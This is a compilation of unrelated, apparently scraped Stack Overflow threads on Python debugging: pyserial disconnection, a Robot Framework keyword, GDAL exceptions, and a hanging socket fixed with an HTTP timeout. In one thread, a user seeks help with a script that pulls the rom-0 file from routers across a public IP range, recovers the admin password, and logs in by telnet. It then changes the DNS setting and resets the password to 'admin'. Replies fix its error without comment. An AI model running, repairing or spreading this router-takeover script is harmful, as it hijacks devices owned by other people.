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Pyserial - COM disconnection and reconnection possible?

new to Python but it really makes fun to work with :-)
Using the pyserial lib and works fine so far. BUT...
...is there a way to ignore the following problem: During a serial communication I disconnect the COM-cable for a short time. I got the following errormessage then:
**Traceback (most recent call last):
File "C:\Users\greulich\PycharmProjects\arduino_serial\main.py", line 48, in <module>
functions.receiveWithStartMarkers()
File "C:\Users\greulich\PycharmProjects\arduino_serial\functions.py", line 30, in receiveWithStartMarkers
receivedChar = serialPort.read(1) # read 1 byte
File "C:\Users\greulich\PycharmProjects\arduino_serial\venv\lib\site-packages\serial\serialwin32.py", line 275, in read
raise SerialException("ClearCommError failed ({!r})".format(ctypes.WinError()))
serial.serialutil.SerialException: ClearCommError failed (PermissionError(13, 'Das Gerät erkennt den Befehl nicht.', None, 22))**
My code looks like that:
while serialPort.is_open is True and newData is False:
#try:
receivedChar = serialPort.read(1) # read 1 byte
print(str(date.time()) + ' >>> ' + 'I got the following byte: ' + str(receivedChar))
I opened up port initially in that module:
try:
serialPort = serial.Serial('COM12', 115200)
except:
print('COM-Port not available!')
print('Will exit not the Python program!')
exit() #quits the complete Python program
serialPort.timeout = 3
Is there a way to define kind of a timeout until this error will hit me where the user has the chance to reconnect the cable?
In a nutshell: I want to be able to disconnect the com cable for a short time and connect it again without an error showing :-)
Thanks,
Markus

Robot Framework Keyword with Python: Error with unmatched string or IP. How to fix this?

I am trying to write a keyword for Robot Framework as #Brayan Oakley suggesed in Question :
How to write python function to test the matched strings (to use for Robot framework keyword)?
My Python file:
import os,re
def check_IP():
cmd = ' netstat -ano '
output = os.popen(cmd).read()
match1 = re.findall('.* (1.1.1.1).*',output)
mat1 = ['1.1.1.1']
if match1 == mat1:
print "IP addr found"
if match1 != mat1:
raise Exception('No matching IP...')
check_IP()
I am trying to match a IP address in "netstat -ano" command. If its matches, I am getting "IP addr found" message as expected.
But if IP address is not found I am getting exception as expected, but with below error messages.
C:\Users\test\Desktop>python check.py
Traceback (most recent call last):
File "check.py", line 13, in <module>
check_IP()
File "check.py", line 11, in check_IP
raise Exception('No matching IP...')
Exception: No matching IP...
C:\Users\test\Desktop>
Any clue to fix this please?

The code is doing precisely what you told it to do. You are running the code outside of the context of robot, and this is how python treats exceptions.
If you don't want to see the stack trace, catch the exception and print whatever message you want.
try:
check_IP()
except Exception as e
print str(e)
Of course, you'll want to remove all that code if you use check_IP as a keyword.

Use the Following Robot File:
*** Settings ***
Documentation Test Stability Tests
Library Network.py
*** Test Cases ***
Test: Test Robot File
Check Network Status
Use the following Python File
import os, re
def check_network_status():
cmd = ' netstat -ano '
output = os.popen(cmd).read()
match1 = re.findall('.* (1.1.1.1).*',output)
mat1 = ['1.1.1.1']
if match1 == mat1:
print("IP Address found")
elif match1 != mat1:
raise AssertionError("IP Address not Found")
Note: Do not call the function in the Python file.
Just create classes and function inside python file(if you want to in future).
They would automatically be called off at the run time.

NameError: name 'host' is not defined

I'm new in python programming. When i try running a simple python script i get error like this in my terminal
root#bt:/tmp# python code.py
Traceback (most recent call last):
File "code.py", line 42, in <module>
print host+" -> Offline!"
NameError: name 'host' is not defined
I have been search in Google but im difficult to fix my problem because im new in this programming language. Can you help me?
This is my script like this :
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
from netaddr import IPNetwork
import urllib2
import urllib
import re
import getpass
import sys
import telnetlib
import time
import os
import socket
import sys
socket.setdefaulttimeout(4)
register_openers()
try:
os.remove("rom-0")
except:
pass
try:
host=str(sys.argv[1])
urllib.urlretrieve ("http://"+host+"/rom-0", "rom-0")
datagen, headers = multipart_encode({"uploadedfile": open("rom-0")})
request = urllib2.Request("http://localhost/decoded.php", datagen, headers)
str1 = urllib2.urlopen(request).read()
m = re.search('rows=10>(.*)', str1)
if m:
found = m.group(1)
tn = telnetlib.Telnet(host, 23, 3)
tn.read_until("Password: ")
tn.write(found + "\n")
tn.write("set lan dhcpdns 8.8.8.8\n")
tn.write("sys password admin\n")
print host+" -> Success"
tn.write("exit\n")
except:
print host+" -> Offline!"
How i can fix error like this.?
Thanks
If i put : host=str(sys.argv[1]) before try.except show error like this :
Traceback (most recent call last):
File "code.py", line 17, in
host=str(sys.argv[1])
IndexError: list index out of range
And this is my input :
from netaddr import IPNetwork
import os
for ip in IPNetwork ('41.108.48.1/24'):
os.system("python code.py "+str(ip))

Your except clause will catch any error in any line of code in the try block. If you don't specify enough arguments on the command line, the line host = str(sys.argv[1]) will fail, leaving host unassigned, which then causes the error you are seeing when you try to print it.
You should take most of the code out of your try block, really, and/or create multiple try blocks that catch errors in much smaller chunks of code. Furthermore, you should specify the actual exception type you want to handle with each except instead of trying to handle all of them. Bare except: catches things you probably don't want caught, such as KeyboardInterrupt and SystemExit. If you must catch most exceptions, use except Exception: instead of just except:.

it seem that your script expects an input parameter
host=str(sys.argv[1])
in case that parameter is not supplied, as shown in your post, an exception raised and been caught in the except clause before the host parameter was defined
try to declare host before the try/except block

you are defining host in the first line of try/except
i believe the error is in that first line.
to debug this take remove the try/except to see what the actual error is.

Intercept Messages from 3rd Party Code

I am writing a Python script that uses 3rd party modules from GDAL. The GDAL functions do not raise exceptions when an error occurs, but do send messages to stdout. Generally, the errors that occur with GDAL functions do not warrant stopping the process and I don't need to know about the error having occurred.
Is there a way I can intercept the messages that are being sent to stdout before they are printed in the console? The GDAL messages interfere with the messages that I have provided in my own code.

As described in "Python Gotchas", you can turn on Exceptions using gdal.UseExceptions(), e.g.:
from osgeo import gdal
dsrc = gdal.Open('nonexist')
# ... silence
gdal.UseExceptions()
dsrc = gdal.Open('nonexist')
# Traceback (most recent call last):
# File "<interactive input>", line 1, in <module>
# RuntimeError: `nonexist' does not exist in the file system,
# and is not recognised as a supported dataset name.
You could always then use a try except block get the actual error message string:
try:
dsrc = gdal.Open('nonexist')
except RuntimeError as e:
print(str(e))
which will print the error message:
`nonexist' does not exist in the file system,
and is not recognised as a supported dataset name.

Python script freezes infinitely during a socket connection

I have a simple python script that updates that statuses of justin.tv streams in my database. It's a Django based web application. This script worked perfectly before I moved it to my production server, but now it has issues with timing out or freezing. I've solved the time out problem by adding try/except blocks and making the script retry, but I still can't figure out the freezing problem.
I know it freezes on the line streamOnline = manager.getStreamOnline(stream.name, LOG). That's the same point where the socket.timeout exception occurs. Some times however, it just locks up for ever. I just can't picture a scenario where python would freeze infinitely. Here is the code for the script that freezes. I'm linking website.networkmanagers below, as well as oauth and the justin.tv python library that I'm using.
import sys, os, socket
LOG = False
def updateStreamInfo():
# Set necessary paths
honstreams = os.path.realpath(os.path.dirname(__file__) + "../../../")
sys.path.append(honstreams)
os.environ['DJANGO_SETTINGS_MODULE'] = 'settings'
# Import necessary moduels
from website.models import Stream, StreamInfo
from website.networkmanagers import get_manager, \
NetworkManagerReturnedErrorException
# Get all streams
streams = Stream.objects.all()
try:
# Loop through them
for stream in streams:
skipstream = False
print 'Checking %s...' % stream.name,
# Get the appropriate network manager and
manager = get_manager(stream.network.name)
# Try to get stream status up to 3 times
for i in xrange(3):
try:
streamOnline = manager.getStreamOnline(stream.name, LOG)
break
except socket.error as e:
code, message = e
# Retry up to 3 times
print 'Error: %s. Retrying...'
# If this stream should be skipped
if(skipstream):
print 'Can\'t connect! Skipping %s' % stream.name
continue
# Skip if status has not changed
if streamOnline == stream.online:
print 'Skipping %s because the status has not changed' % \
stream.name
continue
# Save status
stream.online = streamOnline
stream.save()
print 'Set %s to %s' % (stream.name, streamOnline)
except NetworkManagerReturnedErrorException as e:
print 'Stopped the status update loop:', e
if(__name__ == "__main__"):
if(len(sys.argv) > 1 and sys.argv[1] == "log"):
LOG = True
if(LOG): print "Logging enabled"
updateStreamInfo()
networkmanagers.py
oauth.py
JtvClient.py
Example of the script freezing
foo#bar:/.../honstreams/honstreams# python website/scripts/updateStreamStatus.py
Checking angrytestie... Skipping angrytestie because the status has not changed
Checking chustream... Skipping chustream because the status has not changed
Checking cilantrogamer... Skipping cilantrogamer because the status has not changed
| <- caret sits here blinking infinitely
Interesting update
Every time it freezes and I send a keyboard interrupt, it's on the same line in socket.py:
root#husta:/home/honstreams/honstreams# python website/scripts/updateStreamStatus.py
Checking angrytestie... Skipping angrytestie because the status has not changed
Checking chustream... Skipping chustream because the status has not changed
^CChecking cilantrogamer...
Traceback (most recent call last):
File "website/scripts/updateStreamStatus.py", line 64, in <module>
updateStreamInfo()
File "website/scripts/updateStreamStatus.py", line 31, in updateStreamInfo
streamOnline = manager.getStreamOnline(stream.name, LOG)
File "/home/honstreams/honstreams/website/networkmanagers.py", line 47, in getStreamOnline
return self.getChannelLive(channelName, log)
File "/home/honstreams/honstreams/website/networkmanagers.py", line 65, in getChannelLive
response = client.get('/stream/list.json?channel=%s' % channelName)
File "/home/honstreams/honstreams/website/JtvClient.py", line 51, in get
return self._send_request(request, token)
File "/home/honstreams/honstreams/website/JtvClient.py", line 90, in _send_request
return conn.getresponse()
File "/usr/lib/python2.6/httplib.py", line 986, in getresponse
response.begin()
File "/usr/lib/python2.6/httplib.py", line 391, in begin
version, status, reason = self._read_status()
File "/usr/lib/python2.6/httplib.py", line 349, in _read_status
line = self.fp.readline()
File "/usr/lib/python2.6/socket.py", line 397, in readline
data = recv(1)
KeyboardInterrupt
Any thoughts?

Have you tried using another application to open that connection? Given that it's an issue in production, perhaps you don't have some firewall issues.

Down in JtvClient.py it uses httplib to handle the connection. Have you tried changing this to use httplib2 instead?
Other than that stab in the dark, I would add a lot of logging statements to this code in order to track what actually happens and where it gets stuck. Then I would make sure that the point where it gets stuck can timeout on the socket (which usually involves either monkeypatching or forking the codebase) so that stuff fails instead of hanging.
You said:
I know it freezes on the line streamOnline = manager.getStreamOnline(stream.name, LOG). That's the same point where the socket.timeout exception occurs.
Wrong. It doesn't freeze on that line because that line is a function call which calls lots of other functions through several levels of other modules. So you do not yet know where the program freezes. Also, that line is NOT the point where the socket timeout occurs. The socket timeout will only occur on a low level socket operation like select or recv which is being called several times in the chain of activity triggered by getStreamOnline.
You need to trace your code in a debugger or add print statements to track down exactly where the hang occurs. It could possibly be an infinite loop in Python but is more likely to be a low-level call to an OS networking function. Until you find the source of the error, you can't do anything.
P.S. the keyboard interrupt is a reasonable clue that the problem is around line 90 in JtvClient.py, so put in some print statements and find out what happens. There may be a stupid loop in there that keeps calling getresponse, or you may be calling it with bad parameters or maybe the network server really is borked. Narrow it down to fewer possibilities.

It turns out this HTTP connection isn't passed a timeout in jtvClient.py
def _get_conn(self):
return httplib.HTTPConnection("%s:%d" % (self.host, self.port))
Changed the last line to
return httplib.HTTPConnection("%s:%d" % (self.host, self.port), timeout=10)
Which solved it